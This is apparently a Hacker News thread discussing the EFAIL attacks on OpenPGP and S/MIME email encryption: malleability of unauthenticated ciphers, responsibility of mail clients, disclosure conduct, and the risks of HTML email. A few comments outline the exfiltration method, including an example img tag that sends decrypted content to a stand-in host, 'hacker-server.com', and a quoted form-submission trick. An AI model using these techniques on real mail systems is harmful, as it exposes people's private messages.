Good old SSH managed to update ciphers. This is certainly easier if Server and client can negotiate, but it’s not impossible for GPG. You could start by adding better modes as an option, later make them default and ask for confirmation when decrypting an old message format. If I read the vulnerability description correctly, it allows stripping the message authentication signature and then trick the client into decoding it. So any message sent with a modern cipher or just requiring message authentication by default would have substantially mitigated the attack.

rocqua on May 14, 2018 | root | parent | next [–]

It is possible, but note that SSH is interactive and always had multiple ciphers. On PGP, as far as I can tell, there is no field for the cipher used. So you somehow need to introduce that field somewhere, but be able to deal with files that do not have that field. Possible but very tedious. The non-interactivity seems like it makes it harder to 'negotiate' a version. As there is no way to get clarification.

At the same time, you need to be careful against downgrade attacks.

Xylakant on May 15, 2018 | root | parent | next [–]

Sure, as I mentioned, it’s easier if you can negotiate ciphers. But on the upside, there’s no downgrade attack. If the sender uses a modern cipher, the receiver either supports it or can’t decode the message. Still, that’s not a hard reason to not introduce protocol changes like new ciphers and a new field. Funny that you mention that since currently GPG on my Ubuntu spits out warnings about some feature it does not understand in files encrypted with a newer GPG on my fedora. This actually trips up some of my tooling.

julian37 on May 14, 2018 | root | parent | prev | next [–]

It could also buffer the ciphertext, doubling CPU time but meaning that message size is constrained by disk space rather than available RAM.

Natanael_L on May 14, 2018 | root | parent | prev | next [–]

Yes. Show me the right message or nothing at all.

eyeareque on May 14, 2018 | parent | prev | next [–]

It’s known that remote image loading is bad. Why is this even enabled? I think they get a pass on this, it’s definitely a bit over blown.

rocqua on May 14, 2018 | root | parent | next [–]

The issue is apparently that pgp outputs the plain text to a pipe before checking the MAC in the message. Instead, they provide an error code when the MAC doesn't fail. Apparently a lot of implementations don't check for this error. In general, this leads to message malleability. Malleability is always bad. It just so happens that in this example, they used malleability to sneak in <img> tags.

So the issue here is that PGP outputs plain text even when the message fails the MAC check.

dangerface on May 14, 2018 | parent | prev | next [–]

No, in CURRENT_YEAR you don't get to not handle errors, and blame the api when theres errors.

segmondy on May 14, 2018 | parent | prev | next [–]

Just curious, why didn't you submit a patch?

jakobegger on May 14, 2018 | root | parent | next [–]

Not the OP, but finding a vulnerability is a very different skill compared to fixing a vulnerability.

baby on May 14, 2018 | root | parent | prev | next [–]

I can't remember but I was probably too swamped back then, I should do it though.

dimastopel on May 14, 2018 | prev | next [–]

Robert Hansen just sent the following email to the gnupg-users list:

to GnuPG-Users

[taps the mike]

Hi. I maintain the official GnuPG FAQ. So let me start off by answering a question that is certainly about to be asked a lot: "Should we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us to uninstall it!"

https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne...

Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published.

It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.

patoh on May 14, 2018 | parent | next [–]

Werner Koch goes into further detail at the start of the gnupg-users thread @ https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

sambe on May 14, 2018 | root | parent | next [–]

I'm reading this message with little context but it doesn't strike me as having reasons not to be worried. The two suggestions are: a) not to use HTML emails, which seems unlikely in practice; b) to use an obscure-sounding mode which has been implemented in such a way as to depend on the MUA doing multiple things correctly after the GPG code runs.

What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?

dmix on May 14, 2018 | root | parent | next [–]

> a) not to use HTML emails, which seems unlikely in practice

I've always used plaintext when using PGP, same with others who have used it with me... I thought it was standard practice. I don't see the point in using HTML for one-on-one encrypted conversations. HTML is for newsletters and similar content. Although I assume this means "don't use HTML at all in your client, not just for encrypted email".

pera on May 14, 2018 | root | parent | next [–]

Same here, just good ol' plain text and inlined pgp :)

klez on May 14, 2018 | root | parent | prev | next [–]

> not to use HTML emails, which seems unlikely in practice

In a context where pgp is used, which is not me receiving promotional material or forwards from Grandma, why do you consider it unlikely that mail is to be sent as plaintext and not as html?

deong on May 14, 2018 | root | parent | next [–]

Almost every email client defaults to HTML. There are going to be people using both encryption and HTML.

e12e on May 14, 2018 | root | parent | next [–]

The idea that you can combine full hypertext and security is absurd. IMNHO this is the most significant problem with email (and many "secure" messaging stacks that allow "rich content"). Sure, it's possible to define a secure subset of html (basically bold/italics/underline, tables and headers).

But everyone adds transclusion (in-line rendering of linked content, which leaks data *and* opens up the door to bugs), fonts (ie: programs), images (historically not a great idea), and some even Javascript!

And that's not even all the muas that runs in the browser, and try to expose some safe subset of itself to be used for rendering the mail body.

So, html Email is insecure, when contrasted with plain text email.

Using pgp as "code signing" for hypertext applications ("html emails") isn't nearly enough.

Sadly, afaik there's no agreed "safe" rich text format for mail. Absurdly rtf would probably be better than html mail.

Anyway, I don't see how anyone could expect html mail to be safe in the first place.

Xylakant on May 14, 2018 | root | parent | prev | next [–]

Afaics the attacker gets to pick the format.

klez on May 14, 2018 | root | parent | next [–]

I'll rephrase what I was trying to say:

If I'm expecting encrypted email, I don't expect it formatted as HTML, so I can just disable its rendering. At which point the attacker can send it any format they want, my mail client just won't render it.

The parent to my comment says this is unlikely, and I don't understand why. Hence my asking (and now I see I phrased it the opposite way).

CJefferson on May 14, 2018 | root | parent | next [–]

The problem is this seems like fragile security -- most mail clients do render HTML, so better make sure that option never gets set to on, or you are hosed.

kennell on May 14, 2018 | prev | next [–]

As if a brand name, logo and website were not enough, even the white paper title is cringy clickbait: "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels".

OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.

tptacek on May 14, 2018 | parent | next [–]

This is the best crypto attack of the year. Anyone calling it "cringy clickbait" is saying more about themselves than about the work.

bhhaskin on May 14, 2018 | root | parent | next [–]

But it isn't a crypto attack at all. Gpg is doing what it is supposed to do, and the overall cryptography is not effected. It's bad clients that are the problem.

tptacek on May 14, 2018 | root | parent | next [–]

It strips the PGP MDC and then uses a malleability attack on CFB or CBC to inject content, but it's not a crypto attack? You have a definition of "crypto attack" that nobody in the field uses.

rocqua on May 14, 2018 | root | parent | next [–]

To be fair, a very large part of this attack is not about PGP at all. That part is about abusing email-client rendering of partly encrypted messages, and abusing S/MIME to get message malleability again exploited via HTML.

tptacek on May 14, 2018 | root | parent | next [–]

Again, this is like saying that BEAST isn't really about TLS, because you need a particular combination of client features to exploit it. The two attacks are almost exactly analogous in this respect. But PGP has a cheering section, and TLS doesn't.

rocqua on May 14, 2018 | root | parent | next [–]

I mean that the first attack (having A PGP encrypted middle of an email that the client just expands to plaintext) and the attack on S/MIME have nothing to do with PGP mistakes in PGP at all.

The gadget attack on PGP is completely an exploit against PGP, but this publication also treats other attacks. At the very least, if you weigh this by volume of text, they focus a lot on pure client mistakes (first attack) and S/MIME (half of second attack).

simias on May 14, 2018 | parent | prev | next [–]

I don't even understand why they needed to tease the thing one day in advance with measures that were so weird that nobody knew what to expect. "Stop decrypting email", right, super convenient and totally appropriate given the actual vulnerability. Next time maybe they'll say "don't touch your mouse until further notice". What difference would it have made if they had simply published this website straight away? Seemed like they were releasing the teaser for the next Captain America movie or something.

This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.

mtremsal on May 14, 2018 | root | parent | next [–]

The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?

simias on May 14, 2018 | root | parent | next [–]

The amdflaws were real vulnerabilities too. The problem in both cases is that they messed up the disclosure so badly (in the case of amdflaws probably purposefully, here probably simply by mistake and maybe hubris) that you end up talking more about the disclosure than the problem itself.

This one day "teaser" makes no sense from a security perspective, especially when it fails to actually tell you the proper way to mitigate the attack (no, "do not use PGP or S/MISE" is not a reasonable mitigation for people who actually rely on these technologies, especially when you can mitigate the attack by changing your settings or using a different client). Saying that PGP and S/MIME themselves are broken when it's *mainly* (but not entirely) a MUA problem is also rather disingenuous.

floatboth on May 14, 2018 | root | parent | next [–]

amdflaws were "if you have admin access, you have admin access". This is "oh shit, mail clients / crypto plugins will stitch together '<img src="' + decrypted content + '">' and send your secrets to the attacker". Sounds much more serious.

simias on May 14, 2018 | root | parent | next [–]

Amdflaws was more like "if you have admin access you can backdoor the secure boot infrastructure" while this is "if an attacker manages to intercept an encrypted HTML email and send it to you modified and you use a MUA with dubious security setting with regards to HTML then you're at risk".

The issues are so different that it's probably pointless to try to rank them by severity. I personally always considered that HTML email was a terrible idea security-wise so the idea of HTML PGP sounds a bit like putting mustard on pasta. That being said the PGP/SMIME implementations really ought to detect tampering and error out in this situation, it's always better to fail early.

digi_owl on May 14, 2018 | parent | prev | next [–]

The more news i read from _sec, the more they remind me of the cracking groups of the micro era...

ddevault on May 14, 2018 | prev | next [–]

Even setting aside that this is an excellent example of how toxic the security community is, the real problem here is that HTML email is a steaming pile of crap. The number of vulnerabilities introducted by the mind bogglingly stupid idea of putting HTML in emails is staggering. You're better off only reading plaintext emails and sending the rest to /dev/null. Bonus: this gets a good deal of spam out of your inbox!

colemannugent on May 14, 2018 | parent | next [–]

Yeah, whoever thought that adding the attack/bug surface of a browser to the email client should be publicly shamed.

I assume that aerc like mutt is not affected by this "vulnerability"?

Tyr42 on May 14, 2018 | root | parent | next [–]

Yeah, mutt is safe

https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large

dmix on May 14, 2018 | root | parent | next [–]

And the K-9 app seems safe which is the most popular way to use PGP on Android.

e12e on May 14, 2018 | root | parent | next [–]

If true, that's great news. There are plenty of decent cli/desktop clients that make it easy to avoid html mail. Not so for Android, where apps seem likely to wrap some rich content control in order to render text (as html).

ddevault on May 14, 2018 | root | parent | prev | next [–]

Aye.

foo101 on May 14, 2018 | prev | next [–]

From the original article:

> EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails.

I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME.

Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.

rocqua on May 14, 2018 | parent | next [–]

This isn't undefined behavior. This is malleability. Attackers get to change some parts of the plain text without needing to know the encryption key.

This is very much an issue with the S/MIME standard, which has no defence against this kind of attack. For PGP it is slightly different, as there is a defense against it (the 'MDC', a sha-1 hash of the plaintext) but it has a soft-fail if the MDC is not present.

Both are issues with the standard. For S/MIME it is a total failure, whilst for PGP the failure is mitigated slightly by an obscure and non-urgent error message. But, it is unreasonable to expect users to act on this kind of error message. Really, what you want here is a hard fail, but that would break backwards compatibility.

Dylan16807 on May 14, 2018 | parent | prev | next [–]

The use of CBC without proper authentication sounds like a flaw in the standard to me. Especially the line in the FAQ about being able to create a fresh valid signature for an altered ciphertext is not good.

slrz on May 14, 2018 | root | parent | next [–]

The "create a fresh valid signature" part talks about creating a new signature with the *attacker's* identity. Sure, technically it's a valid signature but it won't fool anyone regarding the message's authenticity. This is trivially possible for all schemes where you can detach the signature from the message.

Dylan16807 on May 14, 2018 | root | parent | next [–]

You should not be able to detach the signature when you're using an encryption mode with known-plaintext attacks. If you're not going to make decryption depend on having the original signature, *at least* use an encryption mode where any changes scramble the rest of the plaintext. Unauthenticated CBC is not acceptable.

John_KZ on May 16, 2018 | root | parent | prev | next [–]

>talks about creating a new signature with the attacker's identity

Wait, if the signature isn't created with the same key as the message encryption, how does this even work? Shouldn't the client fail to either decrypt the message or validate the signature?

giancarlostoro on May 14, 2018 | parent | prev | next [–]

It's been mentioned by other comments here[0] that the team / group / individual(s) behind this paper didn't even contact the underlying development teams prior to publishing. The whole thing looks like they want to be able to say "yeah we uncovered xyz vulnerability" which they kind of could of, if they had just explained it's relevant to implementation and didn't attack the wrong projects in the process. There seems to be some level of unprofessional conduct[1] coming from the people writing the paper as well where they attack the projects on Twitter to try and silence them when their claims are refuted.

[0]: https://news.ycombinator.com/item?id=17064360

[1]: https://twitter.com/seecurity/status/995936859980222464

(Note: I'm reiterating / summarizing the findings of AnaniasAnanas from here.)

tptacek on May 14, 2018 | root | parent | next [–]

This is false, and you should be embarrassed to have repeated it publicly.

If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT

teams, starting *last year*.

johnboyer on May 14, 2018 | parent | prev | next [–]

Aren't the point of the standards to ensure there is no room for security holes? It seems kind of strange to make the security dependant on the implementation. Imo, it should be impossible to implement the standard in an insecure way.

oblio on May 14, 2018 | prev | next [–]

While HTTPS is taking over web traffic, encrypted email could be considered a failure, at this point. I wonder what percentage of emails are encrypted using GPG. Based on my experience it's probably less than 0.001%.

zaarn on May 14, 2018 | parent | next [–]

E-Mail needs better tools and better standards than GPG IMO.

For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult.

On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.

lmm on May 14, 2018 | root | parent | next [–]

Better tools yes, better standards no. There isn't a single production-quality library implementation of the OpenPGP standard; anyone who uses OpenPGP in production ends up with some variant on a crappy 700-line python script wrapping the GPG executable. (There are dozens or hundreds of those out there, every company has their own). I'll never understand what possesses people who aren't up to writing a solid library implementation of the existing standard to believe that they would be capable of coming up with a better new standard, but it's distressingly common.

Error reporting in email clients that support OpenPGP is awful because they all work by some variant of exec-ing the GPG process and piping its input/output, so half the time you'll try to set up PGP and it just won't work. Even when it does work, no extant mail program has yet reached the level of having an actual UI/UX designer spend even a couple of months of work actually trying to make the PGP experience a good one - and why would they when no-one's prepared to pay for it? Security professionals are willing to work for free on things like security audits of the GPG code, because you can get a conference paper out of that, but there's no corresponding channel for usability work.

> Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own.

PGP/MIME already does this. We don't need a new standard. We need to get better at using the standard we have.

rakoo on May 14, 2018 | root | parent | next [–]

Totally agree on it. Autocrypt (https://autocrypt.org/index.html) is looking good as an incremental approach towards an automatic, widespread use of encryption in emails

yrro on May 14, 2018 | root | parent | prev | next [–]

Forgive me but isn't GPGME the high level library that programs probably want to use rather than dealing with gpg's protocol themselves?

lmm on May 15, 2018 | root | parent | next [–]

GPGME is a library that automates the exec-ing and pipeing, with all the issues that come with that (e.g. poor error reporting).

AnaniasAnanas on May 14, 2018 | root | parent | prev | next [–]

GPG is not a standard, the standard is OpenPGP.

As for the tools, they seem very easy, especially engimail which IS 1-click setup.

> add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own

This is exactly what it is doing. PGP/MIME is a thing.

zaarn on May 14, 2018 | root | parent | next [–]

Enigmail is far from friction free and no 1-click setup. I still have to go through key generation last I checked. And then publish those keys or give them to friends.

If PGP/GPG wants adoption they need to eliminate those friction points, a TOFU model with automatic key redistribution should lower friction sufficiently but except TOFU there isn't much development in that direction.

>This is exactly what it is doing. PGP/MIME is a thing.

I don't think I ever received a single PGP/MIME email. I don't think a lot of people use PGP/MIME. It's a niche setting for a niche software.

dane-pgp on May 14, 2018 | root | parent | next [–]

Your desire for "a TOFU model with automatic key redistribution" is well-founded, and people (including implementers) are trying to do something about this. Check out the Autocrypt project:

https://autocrypt.org/

A similar (and complementary) approach is outlined in RFC-7929:

https://tools.ietf.org/html/rfc7929

which is supported by GPG and a few email providers.

cyphar on May 14, 2018 | root | parent | prev | next [–]

> the standard is OpenPGP

The standard is PGP. OpenPGP is an implementation.

jwilk on May 14, 2018 | root | parent | next [–]

No. OpenPGP is the standard.

PGP and GPG are implementations of this standard.

simias on May 14, 2018 | parent | prev | next [–]

PGP and HTTPS have very different trust models so it's comparing apples to oranges. That being said I agree that PGP failed to gain widespread adoption even though I personally use GnuPG daily and sign all of my emails. I'm still hoping that it'll make a comeback but I'm not holding my breath.

jcims on May 14, 2018 | root | parent | next [–]

S/MIME uses a trust model similar to HTTPS, is built in to most clients and still has almost zero adoption.

I think the issue is that HTTPS is a pain in the ass for a few, while encrypted email is a pain in the ass for everyone. Between client cert distribution to wonky webmail support to escrow challenges for regulated orgs it requires deliberate effort for all parties forever.

simias on May 14, 2018 | root | parent | next [–]

Yeah S/MIME probably overlaps with HTTPS a lot these days, especially in corporate environment where it makes the most sense. Just setup an encrypted connection with the company's messaging platform and you're good.

For personal email GPG is still pretty much the way to go if you don't want to trust any 3rd party though. Few people seem to care about that these days however. The fact that GPG's UI is abysmal doesn't help.

endorphone on May 14, 2018 | parent | prev | next [–]

The majority of email is encrypted in transit (https://transparencyreport.google.com/safer-email/overview?h...), so from a third-party-watching perspective it is equivalent to HTTPS.

pjc50 on May 14, 2018 | parent | prev | next [–]

As Let's Encrypt showed, this is all about usability.

m_eiman on May 14, 2018 | root | parent | next [–]

Let's encrypt wouldn't be nearly as widely used if browsers didn't require https for a lot of new features people want to use, though. And Google will lower the ranking of non-https sites soon, if they haven't already.

Having Let's encrypt available as a free option lets the browser makers force web services to use https, since "anyone can add it, it's free! (Never mind the increased complexity and even more things that can fail and break things in weird ways)".

I suppose it'd be harder to do something similar with email.

moviuro on May 14, 2018 | root | parent | next [–]

Google already pushes for encrypted-in-transit: https://blog.google/products/gmail/making-email-safer-for-yo...

rocqua on May 14, 2018 | parent | prev | next [–]

/Donns alufoil hat

Google likes HTTPS, it makes the web safer, and keeps middle-boxes from interfering with their stuf.

However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.

Gmail is essentially e-mail for a lot of people, so what they do matters.

arm on May 14, 2018 | root | parent | next [–]

"*However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.*"

Absolutely. As mentioned in this[1] article:

"*Though Google announced that it would stop using consumer Gmail content for ad personalization last July, the language permitting it to do so is still included in its current privacy policy, and it without a doubt still scans users emails for other purposes. Aaron Stein, a Google spokesperson, told NBC that Google also automatically extracts keyword data from users' Gmail accounts, which is then fed into machine learning programs and other products within the Google family. Stein told NBC that Google also "may analyze [email] content to customize search results, better detect spam and malware," a practice the company first announced back in 2012.*"

———————

[1] — https://theoutline.com/post/4524/remember-when-google-said-i...

r3bl on May 14, 2018 | root | parent | prev | next [–]

HTTPS means encryption in transit.

Email are also encrypted in transit (almost) universally.

Encryption in transit has absolutely nothing to do with keeping the data hidden from the service you're visiting.

rocqua on May 14, 2018 | root | parent | next [–]

My point exactly, google helped with the transition to HTTPS, but doesn't want to help the transition to encrypted email.

tazjin on May 14, 2018 | prev | next [–]

This hardly seems like an OpenGPG or S/MIME vulnerability to me and more like an XSS-like exploit of email clients.

maxerickson on May 14, 2018 | parent | next [–]

The encryption system should be saying "BAD MESSAGE" to the client and instead it is saying "Here's the message and some malware".

jerf on May 14, 2018 | root | parent | next [–]

I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.

maxerickson on May 14, 2018 | root | parent | next [–]

Both things are problems. The encryption system should definitely be communicating that the message was tampered with...

jerf on May 14, 2018 | root | parent | next [–]

Well, again, the encryption system will. Or at least it can. (Apparently you can encrypt without signing? WTF use is that? But let's assume signatures are used.) The MIME structure of email is the problem here. It isn't OpenPGP's problem to solve, which we know because there is literally no way for them to solve it. No conceivable (sensible[1]) update to OpenPGP could fix the problem, so it can't be their responsibility.

[1]: I mean, yeah, they could ship something that hacks the Thunderbird process and gets the rest of the email, but that's just crazy talk. Nothing that has a sensible API that fits with what Thunderbird is doing now can solve the problem.

tazjin on May 14, 2018 | root | parent | next [–]

> Apparently you can encrypt without signing? WTF use is that?

Sending a message without identifying the author, for example.

spacenick88 on May 14, 2018 | root | parent | next [–]

Which can be achieved with authenticated encryption by generating a new key and deleting it afterwards

dane-pgp on May 14, 2018 | root | parent | next [–]

Is there a standard for this? It seems like if you tried to do it by hand, the receiver's UI would present this in a scary/confusing way. I'm imagining instead some sort of "Alan Smithee" User ID which the UI interprets as "deliberately anonymous/disavowable".

maxerickson on May 14, 2018 | root | parent | prev | next [–]

One of the attacks injects content into the encrypted messages.

spacenick88 on May 14, 2018 | root | parent | prev | next [–]

It really also just shouldn't support unauthenticated encryption at all. And with authenticated encryption I mean something like chacha20-poly1305 or AES-GCM that gives you authentication on small chunks so it can give the "BAD MESSAGE" output when decrypting from a pipe.

FrantaH on May 14, 2018 | prev | next [–]

"To decrypt the emails, he first manipulates their ciphertext by using appropriate malleability gadgets." - so if you use triple wrapping as per https://www.ietf.org/rfc/rfc2634.txt you are safe. e: To make the claim more precise: you must drop messages which are not triple wrapped and those which are triple wrapped, but inner signer is different from the outer signer.

dataflow on May 14, 2018 | prev | next [–]

Tangent:

Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?

tptacek on May 14, 2018 | parent | next [–]

It's not block ciphers versus stream ciphers. CFB mode is a stream cipher and is implicated in this attack. CTR, the canonical stream cipher, is even more malleable than CBC.

The problem is *authenticated* versus *non-authenticated* ciphers. CBC, CTR, and CFB are non-authenticated cipher designs. EAX, GCM, and OCB are authenticated designs.

e12e on May 14, 2018 | root | parent | next [–]

I've always had S/mime in the back of my mind as an alternative for intranet/internal secure messaging (with optional escrow/archiving) - the assumption being that users would all have certs, there'd be a directory (ldap) - and things would be ok-is(granted metadata would be an issue). Never had i dreamt that S/mime didn't use a sane authenticated cipher configuration (if only by public key signature wrapping traditional ciphertext).

I mean that was the whole concept of S/mime, right? Federated key/trust and public key cryptography?

dataflow on May 14, 2018 | root | parent | prev | next [–]

Thank you!!

baby on May 14, 2018 | parent | prev | next [–]

No I wouldn't say that block ciphers are trouble makers in general. Look at RC4 and how badly broken it was. CBC is a mode of operation which works fine, what was fucked in a number of places was the authentication part which is why we don't ship ciphers without authentication nowadays (look at the CAESAR competition for authentication encryption). Stream ciphers without authentication are way easier to exploit that a number of other mode of operations for block ciphers.

spacenick88 on May 14, 2018 | parent | prev | next [–]

I think the really broken thing is not using authenticated encryption ever. In 2018 no one should be using a non-authenticated cipher for anything except teaching about bad ideas.

rocqua on May 14, 2018 | parent | prev | next [–]

I heard once that people didn't like the regularity of the input of CTR mode. That might be why people back in the day preferred CBC.

These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.

dataflow on May 14, 2018 | root | parent | next [–]

How can embedded platforms generate IVs but face trouble generating nonces? Aren't IVs also nonces? Or do you mean a different aspect of it is the problem?

tptacek on May 14, 2018 | root | parent | next [–]

IVs aren't nonces. Nonces need to be unique. IVs need to be unpredictable. Those are subtly different requirements.

consp on May 14, 2018 | root | parent | prev | next [–]

In this case (cbc) the IV is the nonce though for some kind of reason people like to mix words and make everyone's life more difficult. As far as I have encountered, almost always the word nonce applies to some randomization and IV is basically the first data into the system, even if it is not random.

Since most embedded platforms have limited entropy and/or no hardware RNG it is more difficult to generate proper distinctive, unpredictable iv's (in the case of CBC). If most of the nonce is random and the rest predictable (like GCM) the same problem applies. The nonce for GCM for instance is at least 8 bytes random in most implementations.

There are enough ways to generate sufficiently randomized iv's. People just don't bother usually. (guess 0 as an iv for instance on many embedded systems).

griffinmb on May 14, 2018 | root | parent | next [–]

I think the issue is more that nonce reuse with stream ciphers like GCM result in a more catastrophic failure (i.e. secret key disclosure), whereas reusing the IV with CBC will only disclose whether some plaintext was encrypted multiple times. In an embedded platform where there is no easy way to ensure a nonce is not reused, the potential info disclosure may be preferable.

egeozcan on May 14, 2018 | prev | next [–]

If I understood correctly, I think this can be prevented by a single configuration change: "Do not automatically load inline content" but this is just speculation.

I'd disable HTML rendering completely until everything becomes clearer.

dbrgn on May 14, 2018 | parent | next [–]

In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes *do* bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be *really* careful, and also probably violates the HTML spec.

I tried to replicate the Thunderbird attack vector (H_2), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version?

Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail.

(Edit: Added a sentence regarding webviews)

gant on May 14, 2018 | parent | prev | next [–]

Pretty much. Should have that as default anyway to avoid sending tracking beacons to spammers.

Tepix on May 14, 2018 | parent | prev | next [–]

Yes, I think that's the default pretty much everywhere for obvious reasons.

Of course some people configure exceptions for people in their address book, this could then be exploited by this issue.

simias on May 14, 2018 | prev | next [–]

So they gave up on the embargo or something? I thought it was supposed to be revealed tomorrow. It's for the best I suppose. I cringed a bit at the custom "efail.de" domain name though, that's so 2017.

adsche on May 14, 2018 | parent | next [–]

They claim their embargo was "broken" [1]. Maybe by this tweet [2] from GnuPG trying to clarify in what way PGP/GPG are "vulnerable."

[1] https://twitter.com/seecurity/status/995964977461776385

[2] https://twitter.com/gnupg/status/995931083584757760

noguespi on May 14, 2018 | prev | next [–]

A lot of buzz for a not so critical vulnerability. Well it is critical but very hard to exploit because :

1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client.

Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content.

By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.

tptacek on May 14, 2018 | parent | next [–]

Encrypted mail that only works when attackers can't intercept your mail might just as well not be encrypted.

JoachimSchipper on May 14, 2018 | root | parent | next [–]

It's not exactly PGP's security model, but: - if you use SMTP-via-TLS and (IMAP/POP/MAPI)-via-TLS, attackers really can't intercept your mail - unauthenticated encryption still protects your mail spool at rest.

Of course, attackers gaining access to your mailbox is *still* game over, due to password resets etc. via e-mail; but "attackers can't intercept your mail" is a more realistic assumption in 2018 than it was when PGP was designed.

wodny on May 15, 2018 | root | parent | next [–]

Not necessarily. Mail can be intercepted when transferred between MTAs which seem to be often vulnerable to STARTTLS stripping due to a fallback mechanism. See "Neither Snow Nor Rain Nor MITM... An Empirical Analysis of Email Delivery Security"[1].

[1]: https://conferences.sigcomm.org/imc/2015/papers/p27.pdf

noguespi on May 14, 2018 | root | parent | prev | next [–]

You won't be able to decrypt email just by intercepting them

tlogan on May 14, 2018 | parent | prev | next [–]

The problem is that decrypting software will do: "Here's the message and some 'extra stuff'".

Now, this 'extra stuff' might not be HTML, might be something which might trigger something else. I really do not know but some smart guy might figure out how to exploit that part. Or might not.

spacenick88 on May 14, 2018 | parent | prev | next [–]

Also in many (sensible) configurations the PGP key will be locked when not reading encrypted mails and will need a fresh password entry

middleclick on May 14, 2018 | parent | prev | next [–]

> I know I'm safe with blocked remote content.

Curious, how?

noguespi on May 14, 2018 | root | parent | next [–]

Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.

Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--

If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.

Anyway, the attacker still need to get a hand on your encrypted email.

cortesoft on May 14, 2018 | root | parent | next [–]

> Anyway, the attacker still need to get a hand on your encrypted email.

That is the case for all encryption vulnerabilities, and it seems a little strange that you keep pointing this out. Of COURSE the attackers need access to the encrypted text; the entire point of encryption is because we want to protect our data when someone else has access to it.

If we thought an attacker getting their hands on our encrypted email was not something to worry about, we wouldn't encrypt our emails at all. Why do you keep making that point?

dbrgn on May 14, 2018 | root | parent | prev | next [–]

What about attack vectors like this one (from the paper)?

```
For example, in Thunderbird and Postbox
we can completely redress the UI with CSS
and trick the user into submitting the
plaintext with an HTML form if he clicks
somewhere into the message.
```

That sounds like something that can easily happen, even with remote content disabled.

(Edit: Formatting)

jcranmer on May 14, 2018 | root | parent | next [–]

The HTML form submission vector has been fixed in Thunderbird.

middleclick on May 14, 2018 | root | parent | prev | next [–]

Wouldn't disabling HTML email take care of this?

dbrgn on May 14, 2018 | root | parent | next [–]

Yes, but that's probably something most people won't do (with the prevalence of HTML email and no plaintext alternative). Also, it was a reply to the parent who stated "If you disable remote content, it can't be exploited on thunderbird".

Ruling out the presence of an exfiltration channel is hard. It's better to prevent rendering of messages with invalid authentication code in the first place (and not rendering it and showing a warning).

jowsie on May 14, 2018 | root | parent | prev | next [–]

Because the method used relies on accessing remote content.

fabian2k on May 14, 2018 | prev | next [–]

From what I've read, I thought that in modern cryptographic methods you always authenticate and encrypt, in part to avoid attacks like this where an attacker can modify the encrypted message in some way.

Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?

AnaniasAnanas on May 14, 2018 | parent | next [–]

OpenPGP does have a way to authenticate the messages, see https://tools.ietf.org/html/rfc4880#section-5.13.

dewyatt on May 14, 2018 | root | parent | next [–]

Also tag 20 is the newer AEAD method: https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04...

baby on May 14, 2018 | parent | prev | next [–]

Yup, they don't authenticate encrypted mails.

gepeto42 on May 14, 2018 | prev | next [–]

Encryption plugins on top of other mail clients has always been a recipe for disaster.

That being said, why would EFF tell people to completely uninstall it? When I hear that, I think "There is a crazy, in the wild, no user interaction needed remote code execution vulnerability". If someone had a use for PGP/GPG email (assuming they understand the threat model and the metadata that is not encrypted), surely they're better off with a buggy version that with pure cleartext?

bscphil on May 14, 2018 | parent | next [–]

